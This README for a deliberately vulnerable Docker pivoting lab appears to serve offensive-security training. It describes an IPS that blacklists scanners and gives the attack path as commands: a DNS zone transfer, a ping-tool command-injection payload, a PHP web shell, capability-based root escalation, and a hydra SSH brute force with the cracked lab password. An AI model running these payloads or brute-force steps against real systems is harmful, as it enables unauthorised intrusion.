IPvLab — route-jumping intranet lab

Attacker-perspective lab: pivot hop by hop, brute the last host’s SSH.

Topology

             attacker                      10.10.10.2          10.20.20.3           10.30.30.3
     +----------------+                +-----------+          +-----------+         +-----------+
     |  10.10.10.3    |  only m1       |     m1    |  m1->?   |     m2    |  m2->?   |     m3    |
     |  (no ssh)      |  direct        | router+    |  only    | router+   |  only    | DVWA +    |
     |  routes added  +----------------+ webapp     |  m2      | webapp    |  m3      | sshd :22  |
     |  manually      |   10.10.10.2   | 80,8080    +----------+ upload-RCE+----------+           |
     +----------------+                +-----------+ 10.20.20.3+-----------+ 10.30.30.2+-----------+

Quickstart — clone and run

No external dependencies beyond Docker (Compose v2).

git clone https://github.com/28d33/Marvel-CLCY_L2-CY_RED-Lab.git
cd Marvel-CLCY_L2-CY_RED-Lab
docker compose up --build -d
docker compose ps        # m1, m2, m3 all healthy

The stand-in attacker box (att) is a tiny helper; run it with docker compose exec or by building the images and joining the attacker_public network.

m1’s IPS — open to humans, dead to scanners

App ports 80/443/8080/8443 are open by default. Honest clients are served normally. The IPS watches how packets are formed:

BehaviorTriggerResult
honest web trafficNEW TCP to 80/443/8080/8443accepted
NULL/XMAS/FIN/bare-ACK probes2 in 10 ssource blacklisted 120 s
NEW SYN to a closed port5 in 60 ssource blacklisted 120 s

Once blacklisted, every packet from that source (INPUT & FORWARD) is dropped for 120 seconds, then it recovers automatically. Loud scanners read the host as all filtered/dead; a quiet human gets served.

Attack path

0. Routing on the attacker box

# one hop:  reach m2 via m1
ip route add 10.20.20.0/24 via 10.10.10.2
# two hops: reach m3 via m1 then m2
ip route add 10.30.30.0/24 via 10.10.10.2

1. Recon — DNS and PingSweeper

dig +noall +answer AXFR ipvlab.lab @10.10.10.2   # open zone transfer
nmap -Pn -sS -p 80,8080,443,8443 10.10.10.2
curl -s http://10.10.10.2/robots.txt             # hidden-path breadcrumbs
curl -s http://10.10.10.2/config.bak             # [ping]/[admin] config

2. m1 — command injection in the ping tool

curl -s "http://10.10.10.2/ping?ip=127.0.0.1;id"
# -> uid=101(webapp) ...

3-4. m2 — PHP upload RCE

# Drop a PHP shell into /uploads (wwwrun), then:
curl "http://10.20.20.3/uploads/shell.php?c=id"
# -> uid=100(wwwrun)

5. m2 — CAP_SETUID python3.12 → root

# jump through the capability-laden python -> uid 0, read the hint:
# -> m3 = 10.30.30.3, ssh user: marvel, pass: 5 chars from charset {abcde12345!@#$%}

6. m3 — the only SSH; brute it

crunch 5 5 abcde12345!@#$% -o /tmp/pass.txt
hydra -l marvel -P /tmp/pass.txt ssh://10.30.30.3 -t 32 -f
# -> [22][ssh] login: marvel  password: aaa12

7. DVWA through a local tunnel

ssh -o StrictHostKeyChecking=no -L 127.0.0.1:38080:127.0.0.1:80 marvel@10.30.30.3
curl http://127.0.0.1:38080/login.php    # DVWA login page, 200

Deliberate choices